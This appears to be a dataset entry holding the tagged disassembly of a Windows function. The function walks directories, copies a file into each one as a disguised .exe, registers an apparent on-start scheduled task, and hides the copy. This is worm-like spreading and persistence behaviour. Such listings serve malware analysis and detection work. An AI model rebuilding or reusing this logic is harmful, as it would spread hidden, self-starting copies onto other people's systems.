Function at 0x140006930
Capabilities:
Copy file
Enumerate files on windows
Set file attributes

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rax - 0x2f8]
sub rsp, 0x3d0
mov qword [rbp], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x14003a8d0]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov rbx, rdx
mov rsi, rcx
mov r12d, 7
mov qword [rbp - 0x68], r12
xor r14d, r14d
mov qword [rbp - 0x70], r14
mov word [rbp - 0x80], r14w
or r13, 0xffffffffffffffff
cmp word [rdx], r14w
jne 0x140006995
mov r8d, r14d
jmp 0x1400069a2
mov r8, r13
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140006998
lea rcx, [rbp - 0x80]
call fcn.140001f88
nop
lea r8, [0x14002f8dc]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.14000d1e8
cmp qword [rax + 0x18], 8
jb 0x1400069ca
mov rax, qword [rax]
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
cmp qword [rbp - 0x48], 8
jb 0x1400069ea
mov rcx, qword [rbp - 0x60]
call fcn.140011398
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x50], r14
mov word [rbp - 0x60], r14w
cmp qword [rbp - 0x68], 8
jb 0x140006a07
mov rcx, qword [rbp - 0x80]
call fcn.140011398
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x70], r14
mov word [rbp - 0x80], r14w
cmp rdi, r13
je 0x140006d6a
test byte [rbp + 0x70], 0x10
je 0x140006d4c
movzx ecx, word [rbp + 0x9c]
movzx eax, word [rbp + 0x9e]
cmp cx, word [0x14002f8e4]
jne 0x140006a4b
cmp ax, word [0x14002f8e6]
je 0x140006d4c
cmp cx, word [0x14002f8e8]
jne 0x140006a71
cmp ax, word [0x14002f8ea]
jne 0x140006a71
movzx eax, word [rbp + 0xa0]
cmp ax, word [0x14002f8ec]
je 0x140006d4c
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov word [rsp + 0x20], r14w
cmp word [rbx], r14w
jne 0x140006a8c
mov r8, r14
jmp 0x140006a99
mov r8, r13
inc r8
cmp word [rbx + r8*2], r14w
jne 0x140006a8f
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140001f88
nop
lea r8, [0x14002f6b8]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14000d1e8
nop
lea r8, [rbp + 0x9c]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14000d1e8
nop
lea r8, [0x14002f900]
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.14000d1e8
nop
lea r8, [rbp + 0x9c]
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.14000d1e8
nop
lea r8, str..exe
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14000d1e8
nop
cmp qword [rbp - 0x28], 8
jb 0x140006b1f
mov rcx, qword [rbp - 0x40]
call fcn.140011398
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x30], r14
mov word [rbp - 0x40], r14w
cmp qword [rbp - 8], 8
jb 0x140006b3c
mov rcx, qword [rbp - 0x20]
call fcn.140011398
mov qword [rbp - 8], r12
mov qword [rbp - 0x10], r14
mov word [rbp - 0x20], r14w
cmp qword [rsp + 0x78], 8
jb 0x140006b5b
mov rcx, qword [rsp + 0x60]
call fcn.140011398
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r14
mov word [rsp + 0x60], r14w
cmp qword [rsp + 0x58], 8
jb 0x140006b7d
mov rcx, qword [rsp + 0x40]
call fcn.140011398
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
mov word [rsp + 0x40], r14w
cmp qword [rsp + 0x38], 8
jb 0x140006b9f
mov rcx, qword [rsp + 0x20]
call fcn.140011398
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov word [rsp + 0x20], r14w
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140006d3c
lea rcx, [rbp + 0x48]
call fcn.1400066b4
nop
lea r8, [rbp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.14000d234
nop
lea r8, str.___tr__
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.14000d1e8
nop
cmp qword [rsp + 0x58], 8
jb 0x140006c10
mov rcx, qword [rsp + 0x40]
call fcn.140011398
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r14
mov word [rsp + 0x40], r14w
mov r9, r13
xor r8d, r8d
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x28]
call fcn.1400021cc
lea rdx, str.___sc_onstart__f
lea rcx, [rbp + 0x28]
call fcn.140001ca8
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r14
mov word [rsp + 0x20], r14w
cmp word [rbp + 0x9c], r14w
jne 0x140006c62
mov r8, r14
jmp 0x140006c76
lea rax, [rbp + 0x9c]
mov r8, r13
inc r8
cmp word [rax + r8*2], r14w
jne 0x140006c6c
lea rdx, [rbp + 0x9c]
lea rcx, [rsp + 0x20]
call fcn.140001f88
nop
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.14000d2ec
cmp qword [rax + 0x18], 8
jb 0x140006ca1
mov rax, qword [rax]
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rcx, qword [rbp + 8]
mov rdx, rax
call fcn.140006874
cmp qword [rsp + 0x78], 8
jb 0x140006cc9
mov rcx, qword [rsp + 0x60]
call fcn.140011398
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x70], r14
mov word [rsp + 0x60], r14w
cmp qword [rsp + 0x38], 8
jb 0x140006ceb
mov rcx, qword [rsp + 0x20]
call fcn.140011398
lea rcx, [rbp + 0x28]
call fcn.1400060d4
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rcx, qword [rbp + 8]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop
cmp qword [rbp + 0x40], 8
jb 0x140006d1e
mov rcx, qword [rbp + 0x28]
call fcn.140011398
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x38], r14
mov word [rbp + 0x28], r14w
cmp qword [rbp + 0x60], 8
jb 0x140006d3c
mov rcx, qword [rbp + 0x48]
call fcn.140011398
nop
cmp qword [rbp + 0x20], 8
jb 0x140006d4c
mov rcx, qword [rbp + 8]
call fcn.140011398
lea rdx, [rbp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140006a1d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.140010b20
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret